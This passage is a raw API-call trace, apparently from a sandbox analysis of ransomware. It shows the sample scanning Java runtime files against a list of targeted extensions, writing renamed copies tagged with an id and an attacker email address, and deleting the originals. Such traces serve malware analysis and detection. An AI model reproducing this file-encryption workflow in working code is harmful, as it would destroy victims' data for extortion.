4 [0164.252] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0164.252] lstrlenW (lpString=".bz2") returned 4 [0164.252] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0164.252] lstrlenW (lpString=".7z") returned 3 [0164.252] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0164.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0164.252] lstrlenW (lpString=".dbf") returned 4 [0164.252] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0164.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0164.252] lstrlenW (lpString=".1cd") returned 4 [0164.252] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0164.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0164.252] lstrlenW (lpString=".jpg") returned 4 [0164.252] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0164.253] lstrcmpiW (lpString1=".ttf", lpString2=".save") returned 1 [0164.253] lstrlenW (lpString="LucidaSansDemiBold.ttf") returned 22 [0164.253] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0164.397] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=317896) returned 1 [0164.397] CloseHandle (hObject=0x498) returned 1 [0164.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 0x20 [0164.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0164.398] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0164.398] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.398] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.398] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.399] GetLastError () returned 0x0 [0164.399] ReadFile (in: hFile=0x498, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x4d9c8, lpOverlapped=0x0) returned 1 [0164.416] WriteFile (in: hFile=0x4a0, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x4d9d0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x4d9d0, lpOverlapped=0x0) returned 1 [0164.424] ReadFile (in: hFile=0x498, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.424] WriteFile (in: hFile=0x4a0, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x100, lpOverlapped=0x0) returned 1 [0164.424] SetEndOfFile (hFile=0x4a0) returned 1 [0164.425] CloseHandle (hObject=0x4a0) returned 1 [0164.425] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.425] SetEndOfFile (hFile=0x498) returned 1 [0164.811] CloseHandle (hObject=0x498) returned 1 [0164.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0165.898] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 1 [0166.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0166.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0166.597] lstrlenW (lpString=".doc") returned 4 [0166.597] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0166.597] lstrlenW (lpString=".docx") returned 5 [0166.597] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0166.597] lstrlenW (lpString=".pdf") returned 4 [0166.597] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0166.597] lstrlenW (lpString=".xls") returned 4 [0166.597] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0166.597] lstrlenW (lpString=".xlsx") returned 5 [0166.597] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0166.597] lstrlenW (lpString=".ppt") returned 4 [0166.597] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0166.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0166.597] lstrlenW (lpString=".zip") returned 4 [0166.597] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0166.597] lstrlenW (lpString=".rar") returned 4 [0166.597] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0166.597] lstrlenW (lpString=".bz2") returned 4 [0166.597] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0166.597] lstrlenW (lpString=".7z") returned 3 [0166.597] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0166.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0166.597] lstrlenW (lpString=".dbf") returned 4 [0166.597] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0166.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0166.597] lstrlenW (lpString=".1cd") returned 4 [0166.597] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0166.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0166.598] lstrlenW (lpString=".jpg") returned 4 [0166.598] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0166.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0166.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0166.598] lstrlenW (lpString=".doc") returned 4 [0166.598] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0166.598] lstrlenW (lpString=".docx") returned 5 [0166.598] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0166.598] lstrlenW (lpString=".pdf") returned 4 [0166.598] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0166.598] lstrlenW (lpString=".xls") returned 4 [0166.598] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0166.598] lstrlenW (lpString=".xlsx") returned 5 [0166.598] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0166.598] lstrlenW (lpString=".ppt") returned 4 [0166.598] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0166.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0166.598] lstrlenW (lpString=".zip") returned 4 [0166.598] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0166.598] lstrlenW (lpString=".rar") returned 4 [0166.598] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0166.598] lstrlenW (lpString=".bz2") returned 4 [0166.598] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0166.598] lstrlenW (lpString=".7z") returned 3 [0166.598] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0166.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0166.599] lstrlenW (lpString=".dbf") returned 4 [0166.599] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0166.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0166.599] lstrlenW (lpString=".1cd") returned 4 [0166.599] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0166.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0166.599] lstrlenW (lpString=".jpg") returned 4 [0166.599] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0166.599] lstrcmpiW (lpString1=".ttf", lpString2=".save") returned 1 [0166.599] lstrlenW (lpString="LucidaTypewriterRegular.ttf") returned 27 [0166.599] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0166.832] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=242700) returned 1 [0166.833] CloseHandle (hObject=0x41c) returned 1 [0166.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 0x20 [0167.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0167.502] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0167.842] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.842] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.842] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0168.092] GetLastError () returned 0x0 [0168.092] ReadFile (in: hFile=0x520, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x3b40c, lpOverlapped=0x0) returned 1 [0168.104] WriteFile (in: hFile=0x51c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x3b410, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x3b410, lpOverlapped=0x0) returned 1 [0168.110] ReadFile (in: hFile=0x520, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.110] WriteFile (in: hFile=0x51c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x10a, lpOverlapped=0x0) returned 1 [0168.110] SetEndOfFile (hFile=0x51c) returned 1 [0168.110] CloseHandle (hObject=0x51c) returned 1 [0168.111] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.111] SetEndOfFile (hFile=0x520) returned 1 [0168.119] CloseHandle (hObject=0x520) returned 1 [0168.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0168.376] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 1 [0168.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0168.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0168.555] lstrlenW (lpString=".doc") returned 4 [0168.555] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0168.555] lstrlenW (lpString=".docx") returned 5 [0168.555] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0168.555] lstrlenW (lpString=".pdf") returned 4 [0168.555] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0168.555] lstrlenW (lpString=".xls") returned 4 [0168.555] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0168.555] lstrlenW (lpString=".xlsx") returned 5 [0168.555] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0168.555] lstrlenW (lpString=".ppt") returned 4 [0168.555] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0168.555] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0168.555] lstrlenW (lpString=".zip") returned 4 [0168.555] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0168.555] lstrlenW (lpString=".rar") returned 4 [0168.555] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0168.555] lstrlenW (lpString=".bz2") returned 4 [0168.555] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0168.555] lstrlenW (lpString=".7z") returned 3 [0168.555] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0168.555] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0168.555] lstrlenW (lpString=".dbf") returned 4 [0168.555] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0168.555] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0168.556] lstrlenW (lpString=".1cd") returned 4 [0168.556] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0168.556] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0168.556] lstrlenW (lpString=".jpg") returned 4 [0168.556] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0168.556] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0168.556] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0168.556] lstrlenW (lpString=".doc") returned 4 [0168.556] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0168.556] lstrlenW (lpString=".docx") returned 5 [0168.556] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0168.556] lstrlenW (lpString=".pdf") returned 4 [0168.556] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0168.556] lstrlenW (lpString=".xls") returned 4 [0168.556] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0168.556] lstrlenW (lpString=".xlsx") returned 5 [0168.556] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0168.556] lstrlenW (lpString=".ppt") returned 4 [0168.556] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0168.556] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0168.556] lstrlenW (lpString=".zip") returned 4 [0168.556] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0168.556] lstrlenW (lpString=".rar") returned 4 [0168.557] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0168.557] lstrlenW (lpString=".bz2") returned 4 [0168.557] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0168.557] lstrlenW (lpString=".7z") returned 3 [0168.557] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0168.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0168.557] lstrlenW (lpString=".dbf") returned 4 [0168.557] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0168.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0168.557] lstrlenW (lpString=".1cd") returned 4 [0168.557] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0168.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0168.557] lstrlenW (lpString=".jpg") returned 4 [0168.557] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0168.557] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0168.557] lstrlenW (lpString="javaws.jar") returned 10 [0168.557] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0168.755] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=944167) returned 1 [0168.755] CloseHandle (hObject=0x520) returned 1 [0168.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 0x20 [0168.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.756] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0168.756] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.757] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.757] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0168.757] GetLastError () returned 0x0 [0168.757] ReadFile (in: hFile=0x520, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0xe6827, lpOverlapped=0x0) returned 1 [0168.948] WriteFile (in: hFile=0x51c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xe6830, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xe6830, lpOverlapped=0x0) returned 1 [0168.970] ReadFile (in: hFile=0x520, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.970] WriteFile (in: hFile=0x51c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xe8, lpOverlapped=0x0) returned 1 [0168.971] SetEndOfFile (hFile=0x51c) returned 1 [0168.971] CloseHandle (hObject=0x51c) returned 1 [0168.971] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.971] SetEndOfFile (hFile=0x520) returned 1 [0169.076] CloseHandle (hObject=0x520) returned 1 [0169.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0169.486] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 1 [0169.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0169.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0169.487] lstrlenW (lpString=".doc") returned 4 [0169.487] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0169.487] lstrlenW (lpString=".docx") returned 5 [0169.487] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0169.487] lstrlenW (lpString=".pdf") returned 4 [0169.487] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0169.488] lstrlenW (lpString=".xls") returned 4 [0169.488] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0169.488] lstrlenW (lpString=".xlsx") returned 5 [0169.488] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0169.488] lstrlenW (lpString=".ppt") returned 4 [0169.488] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0169.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0169.488] lstrlenW (lpString=".zip") returned 4 [0169.488] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0169.488] lstrlenW (lpString=".rar") returned 4 [0169.488] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0169.488] lstrlenW (lpString=".bz2") returned 4 [0169.488] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0169.488] lstrlenW (lpString=".7z") returned 3 [0169.488] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0169.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0169.488] lstrlenW (lpString=".dbf") returned 4 [0169.488] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0169.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0169.488] lstrlenW (lpString=".1cd") returned 4 [0169.488] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0169.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0169.488] lstrlenW (lpString=".jpg") returned 4 [0169.488] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0169.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0169.488] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0169.489] lstrlenW (lpString=".doc") returned 4 [0169.489] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0169.489] lstrlenW (lpString=".docx") returned 5 [0169.489] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0169.489] lstrlenW (lpString=".pdf") returned 4 [0169.489] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0169.489] lstrlenW (lpString=".xls") returned 4 [0169.489] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0169.489] lstrlenW (lpString=".xlsx") returned 5 [0169.489] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0169.489] lstrlenW (lpString=".ppt") returned 4 [0169.489] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0169.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0169.489] lstrlenW (lpString=".zip") returned 4 [0169.489] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0169.489] lstrlenW (lpString=".rar") returned 4 [0169.489] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0169.489] lstrlenW (lpString=".bz2") returned 4 [0169.489] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0169.489] lstrlenW (lpString=".7z") returned 3 [0169.489] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0169.489] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49 [0169.489] lstrlenW (lpString=".dbf") returned 4 [0169.489] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0169.489] lstrlenW (lpString="C:\\Program 